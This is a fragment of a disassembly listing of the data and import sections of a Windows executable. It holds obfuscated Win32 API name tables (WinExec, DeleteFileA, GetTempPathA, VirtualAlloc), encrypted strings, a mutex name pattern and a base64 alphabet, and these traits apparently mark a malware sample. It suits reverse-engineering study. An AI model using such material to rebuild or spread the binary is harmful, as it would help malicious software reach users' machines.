word_44B452	dw 0			; DATA XREF: sub_43A105+365o
		dd 706F43F7h, 6C694679h
		db 65h,	41h, 0
byte_44B45F	db 0			; DATA XREF: sub_43A105+349o
		db    0
a_getdiskfreesp	db '_GetDiskFreeSpaceA',0
dword_44B474	dd 53F20000h, 72457465h, 4D726F72h, 65646Fh ; DATA XREF: sub_43A105+32Do
dword_44B484	dd 47E80000h, 78457465h, 6F437469h, 68546564h, 64616572h
					; DATA XREF: sub_43A105+311o
		db 0
byte_44B499	db 2 dup(0), 0CBh	; DATA XREF: sub_43A105+2F5o
aGetdrivetypea	db 'GetDriveTypeA',0
word_44B4AA	dw 0			; DATA XREF: sub_43A105+2D9o
aZfindclose	db 'zFindClose',0
byte_44B4B7	db 0			; DATA XREF: sub_43A105+2BDo
		dd 69461E00h, 654E646Eh, 69467478h, 41656Ch
dword_44B4C8	dd 46610000h, 46646E69h, 74737269h, 656C6946h ;	DATA XREF: sub_43A105+2A1o
		db 41h,	0
word_44B4DA	dw 0			; DATA XREF: sub_43A105+285o
aMgettickcount	db 'GetTickCount',0
word_44B4EA	dw 0			; DATA XREF: sub_43A105+269o
aZrtlzeromemory	db 'RtlZeroMemory',0
byte_44B4FB	db 0			; DATA XREF: sub_43A105+24Do
		dd 65470800h, 73795374h, 546D6574h, 656D69h
dword_44B50C	dd 4C8F0000h, 6C61636Fh, 65657246h ; DATA XREF:	sub_43A105+231o
		db 0
byte_44B519	db 2 dup(0), 72h	; DATA XREF: sub_43A105+215o
aLocalalloc	db 'LocalAlloc',0
byte_44B527	db 0			; DATA XREF: sub_43A105+1F9o
		dd 69567600h, 61757472h, 6572466Ch
		db 65h,	0
word_44B536	dw 0			; DATA XREF: sub_43A105+1DDo
aGvirtualalloc	db 'VirtualAlloc',0
word_44B546	dw 0			; DATA XREF: sub_43A105+1C1o
a8readfile	db '8ReadFile',0
word_44B552	dw 0			; DATA XREF: sub_43A105+1A5o
aGettemppatha	db 'GetTempPathA',0
word_44B562	dw 0			; DATA XREF: sub_43A105+189o
aEglobalmemorys	db 'GLobalMemoryStatus',0
dword_44B578	dd 4DE90000h, 69746C75h, 65747942h, 69576F54h, 68436564h
					; DATA XREF: sub_43A105+16Do
		db 61h,	72h, 0
byte_44B58F	db 0			; DATA XREF: sub_43A105+151o
		dd 69579000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		db 65h,	0
word_44B5A6	dw 0			; DATA XREF: sub_43A105+135o
aTwinexec	db 'WinExec',0
byte_44B5B1	db 2 dup(0), 46h	; DATA XREF: sub_43A105+119o
aLstrlenw	db 'lstrlenW',0
byte_44B5BD	db 2 dup(0), 4Bh	; DATA XREF: sub_43A105+FDo
aGetfilesize	db 'GetFileSize',0
dword_44B5CC	dd 43C80000h, 65736F6Ch, 646E6148h ; DATA XREF:	sub_43A105+E1o
		db 6Ch,	65h, 0
byte_44B5DB	db 0			; DATA XREF: sub_43A105+C5o
		dd 72572600h, 46657469h, 656C69h
dword_44B5E8	dd 53C00000h, 69467465h, 6F50656Ch, 65746E69h ;	DATA XREF: sub_43A105+A9o
		db 72h,	0
word_44B5FA	dw 0			; DATA XREF: sub_43A105+8Do
aJdeletefilea	db 'DeleteFileA',0
byte_44B609	db 2 dup(0), 0ECh	; DATA XREF: sub_43A105+71o
aCreatefilea	db 'CreateFileA',0
dword_44B618	dd 4CE70000h, 4C64616Fh, 61726269h, 417972h ; DATA XREF: sub_43A105+55o
dword_44B628	dd 47860000h, 6F4D7465h, 656C7564h, 646E6148h, 41656Ch
					; DATA XREF: sub_43A105+39o
dword_44B63C	dd 42BB0000h, 706565h	; DATA XREF: sub_43A105+1Do
dword_44B644	dd 45980000h, 54746978h, 61657268h ; DATA XREF:	sub_43A105+1o
		db 64h,	0
word_44B652	dw 0			; DATA XREF: sub_439DDE+2EFo
		db  16h
aEnumdesktopwin	db 'EnumDesktopWindows',0
dword_44B668	dd 46E10000h, 57646E69h, 6F646E69h, 41784577h ;	DATA XREF: sub_439DDE+2D3o
		db 0
byte_44B679	db 2 dup(0), 56h	; DATA XREF: sub_439DDE+2B7o
aTranslatemessa	db 'TranslateMessage',0
byte_44B68D	db 2 dup(0), 9Fh	; DATA XREF: sub_439DDE+29Bo
aShowwindow	db 'ShowWindow',0
byte_44B69B	db 0			; DATA XREF: sub_439DDE+27Fo
		dd 65539D00h, 6E695774h, 54776F64h, 41747865h
		db 0
byte_44B6AD	db 2 dup(0), 62h	; DATA XREF: sub_439DDE+263o
aSetwindowlonga	db 'SetWindowLongA',0
byte_44B6BF	db 0			; DATA XREF: sub_439DDE+247o
		dd 6553A000h, 6D695474h
		db 65h,	72h, 0
byte_44B6CB	db 0			; DATA XREF: sub_439DDE+22Bo
		dd 65530A00h, 636F4674h
		db 75h,	73h, 0
byte_44B6D7	db 0			; DATA XREF: sub_439DDE+20Fo
		dd 6553B800h, 654D646Eh, 67617373h
		db 65h,	41h, 0
byte_44B6E7	db 0			; DATA XREF: sub_439DDE+1F3o
		dd 6552E800h, 74736967h, 6C437265h, 41737361h
		db 0
byte_44B6F9	db 2 dup(0), 62h	; DATA XREF: sub_439DDE+1D7o
aMovewindow	db 'MoveWindow',0
byte_44B707	db 0			; DATA XREF: sub_439DDE+1BBo
		dd 654D4000h, 67617373h, 786F4265h
		db 41h,	0
word_44B716	dw 0			; DATA XREF: sub_439DDE+19Fo
aPloadicona	db 'PLoadIconA',0
byte_44B723	db 0			; DATA XREF: sub_439DDE+183o
		dd 6F4C0100h, 75436461h, 726F7372h
		db 41h,	0
word_44B732	dw 0			; DATA XREF: sub_439DDE+167o
aGetwindowtexta	db 'GetWindowTextA',0
dword_44B744	dd 47990000h, 69577465h, 776F646Eh, 74636552h ;	DATA XREF: sub_439DDE+14Bo
		db 0
byte_44B755	db 2 dup(0), 33h	; DATA XREF: sub_439DDE+12Fo
aGetwindowlonga	db 'GetWindowLongA',0
byte_44B767	db 0			; DATA XREF: sub_439DDE+113o
		dd 6547AD00h, 6E695774h, 776F64h
dword_44B774	dd 47940000h, 654D7465h, 67617373h ; DATA XREF:	sub_439DDE+F7o
		db 65h,	41h, 0
byte_44B783	db 0			; DATA XREF: sub_439DDE+DBo
		dd 65472600h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
		db 77h,	0
word_44B79A	dw 0			; DATA XREF: sub_439DDE+BFo
a5getclassnamea	db '5GetClassNameA',0
byte_44B7AB	db 0			; DATA XREF: sub_439DDE+A3o
		dd 69443D00h, 74617073h, 654D6863h, 67617373h
		db 65h,	41h, 0
byte_44B7BF	db 0			; DATA XREF: sub_439DDE+87o
		dd 65446800h, 6F727473h, 6E695779h, 776F64h
dword_44B7D0	dd 44C30000h, 69576665h, 776F646Eh, 636F7250h ;	DATA XREF: sub_439DDE+6Bo
		db 41h,	0
word_44B7E2	dw 0			; DATA XREF: sub_439DDE+4Fo
aCreatewindowex	db 'CreateWindowExA',0
byte_44B7F5	db 2 dup(0), 23h	; DATA XREF: sub_439DDE:loc_439E11o
aCallwindowproc	db 'CallWindowProcA',0
dword_44B808	dd 75D20000h, 33726573h, 6C642E32h ; DATA XREF:	sub_439DDE+1Co
		db 6Ch,	0
word_44B816	dw 0			; DATA XREF: sub_439DDE+1o
aUser32_dll_0	db ',user32.dll',0
dword_44B824	dd 0AC89000Fh, 0EFEDD5FAh, 0F3FCACE5h, 0EDA7BBBAh
					; DATA XREF: sub_439B7B+5Do
		db 2 dup(0E5h),	0
byte_44B837	db 0Fh			; DATA XREF: sub_439B7B+35o
		dd 0ADFBDE00h, 0FBB8B582h, 0EDA4B2ABh, 0B2BAF0ECh
		db 0B2h, 0
word_44B84A	dw 4			; DATA XREF: sub_4399CB+35o
		dd 0E3BAFCD9h
		db 85h,	0
word_44B852	dw 0			; DATA XREF: sub_4397A3:loc_43980Co
		dd 455320F4h, 43495652h
		db 45h,	0
word_44B85E	dw 0			; DATA XREF: sub_4397A3+29o
aNsystem	db 'NSYSTEM',0
dword_44B868	dd 6BB60000h, 762D716Bh	; DATA XREF: sub_4396F6+2Fo
		db 78h,	0
word_44B872	dw 0			; DATA XREF: sub_4396F6:loc_439715o
aS_mtxU_0	db '%s_mtx%u',0
asc_44B87E	db 0Ah,0		; DATA XREF: sub_43969E+1Co
aWbgKw@hh	db '$WBG{KW',0Ah
		db '@HH',0
dword_44B88C	dd 73100000h, 6F5F6366h, 6C642E73h ; DATA XREF:	sub_43969E+1o
		db 6Ch,	0
word_44B89A	dw 4			; DATA XREF: sub_43963B+1Co
aIni		db '',0
word_44B8A2	dw 0			; DATA XREF: sub_4394DD+A3o
aDispgetparam	db 'DispGetParam',0
word_44B8B2	dw 0			; DATA XREF: sub_4394DD+87o
aVariantinit	db ']VariantInit',0
byte_44B8C1	db 2 dup(0), 0F2h	; DATA XREF: sub_4394DD+6Bo
aVariantclear	db 'VariantClear',0
byte_44B8D1	db 2 dup(0), 57h	; DATA XREF: sub_4394DD+4Fo
aSysfreestring	db 'SysFreeString',0
word_44B8E2	dw 0			; DATA XREF: sub_4394DD:loc_439510o
aSysallocstring	db 'SysAllocString',0
dword_44B8F4	dd 1778000Ch, 0D191D14h, 564A4B0Ch, 14141Ch ; DATA XREF: sub_4394DD+1Co
dword_44B904	dd 6FE00000h, 7561656Ch, 2E323374h, 6C6C64h ; DATA XREF: sub_4394DD+1o
dword_44B914	dd 0B0900002h		; DATA XREF: sub_4393B1+108o
		db 0B0h, 0
word_44B91A	dw 1			; DATA XREF: sub_4393B1+D3o
		db 0C2h, 0EDh, 0
byte_44B91F	db 12h			; DATA XREF: sub_4393B1:loc_4393E3o
		dd 0B6A8C500h, 0B6A9B1A6h, 0A4B1B69Ah, 0A7B6B0B1h, 0F7F6B7A4h
		db 0
byte_44B935	db 0Eh,	0, 5Ch		; DATA XREF: sub_4393B1+10o
		dd 0B3E3D08h, 33383235h, 3D301F2Bh
		db 2 dup(2Fh), 0
byte_44B947	db 1			; DATA XREF: sub_43858C+D28o
		dd 5F2300h
dword_44B94C	dd 0B1910002h		; DATA XREF: sub_43858C+CFCo
		db 0EDh, 0
word_44B952	dw 1			; DATA XREF: sub_43858C+C71o
		db 0F5h, 0CFh, 0
byte_44B957	db 4			; DATA XREF: sub_43858C:loc_4391B7o
		dd 6B6E4E00h
		db 3Bh,	74h, 0
byte_44B95F	db 1			; DATA XREF: sub_43858C+6AAo
		dd 0EE9200h
dword_44B964	dd 5474000Ah, 263B3248h, 1514E39h ; DATA XREF: sub_43858C+475o
		db 4Ah,	0
word_44B972	dw 0Bh			; DATA XREF: sub_43858C:loc_438912o
		dd 9CE6FADAh, 9F979B88h, 0E4AFFFE0h
		db 0
byte_44B981	db 0Ah,	0, 94h		; DATA XREF: sub_43858C+293o
aIOK		db 'Ѯ٪',0
		align 10h
dword_44B990	dd 4, 0A600C8h,	0A500A9h, 0ADh ; DATA XREF: sub_43858C+21Bo
dword_44B9A0	dd 5, 330045h, 290024h,	200030h	; DATA XREF: sub_43858C+204o
		db 2 dup(0)
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
					; DATA XREF: .data:off_44A2BCo
		db '://',0
		align 4
dword_44B9F8	dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9h ; DATA XREF: sub_43D6B1+58o
dword_44BA08	dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h
					; DATA XREF: sub_43C48C:loc_43C4D8o
					; sub_43D6B1+1CBo ...
dword_44BA18	dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
					; DATA XREF: sub_4395B8:loc_439604o
					; sub_439857+CBo ...
dword_44BA28	dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
					; DATA XREF: sub_440CD0:loc_440D1Co
dword_44BA38	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; DATA XREF: sub_43F63D+1Fo
dword_44BA48	dd 20400h, 0		; DATA XREF: sub_4395B8:loc_4395E4o
					; sub_43C48C:loc_43C4B8o ...
		dd 0C0h, 46000000h
dword_44BA58	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43858C+183o
					; sub_43A974+152o
dword_44BA68	dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43C5EA+68o
					; sub_44006A+70o
dword_44BA78	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43858C+4B8o
					; sub_43858C+AC3o ...
dword_44BA88	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43858C+9D6o
dword_44BA98	dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43C5EA+1F9o
dword_44BAA8	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43858C+2E9o
dword_44BAB8	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h ;	DATA XREF: sub_43D6B1+4Fo
dword_44BAC8	dd 2 dup(0)		; DATA XREF: sub_4395B8+Co
					; sub_43C48C+Co ...
		dd 0C0h, 46000000h
dword_44BAD8	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh	; DATA XREF: sub_43858C+81o
					; sub_439857+90o ...
dword_44BAE8	dd 10h dup(0)		; DATA XREF: sub_442580o
					; sub_442580:loc_44259Ao ...
dword_44BB28	dd 0			; DATA XREF: sub_442524+16o
					; sub_442524:loc_442566o ...
		dd 0Fh dup(0)
dword_44BB68	dd 0			; DATA XREF: sub_442689+Cw
					; sub_442689+825r
dword_44BB6C	dd 0			; DATA XREF: sub_442689+14w
					; sub_442689+82Cr
dword_44BB70	dd 0			; DATA XREF: sub_442689+1Cw
					; sub_442689+834r
dword_44BB74	dd 0			; DATA XREF: sub_442689+24w
					; sub_442689+83Cr
		align 100h
_data		ends

; Section 7. (virtual address 0004C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0004BC00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 44C000h
		dd 2Bh dup(0)
dword_44C0AC	dd 0			; DATA XREF: .text:00442FB8r
dword_44C0B0	dd 0			; DATA XREF: sub_442FC4r
dword_44C0B4	dd 0			; DATA XREF: sub_442FD0r
		align 10h
dword_44C0C0	dd 0			; DATA XREF: sub_442FDCr
dword_44C0C4	dd 0			; DATA XREF: sub_442FE8r
dword_44C0C8	dd 0			; DATA XREF: .text:00442FF4r
dword_44C0CC	dd 0			; DATA XREF: .text:00443000r
dword_44C0D0	dd 0			; DATA XREF: sub_44300Cr
dword_44C0D4	dd 0			; DATA XREF: sub_443018r
dword_44C0D8	dd 0			; DATA XREF: sub_443024r
dword_44C0DC	dd 0			; DATA XREF: sub_443030r
		align 1000h
_idata2		ends


		end start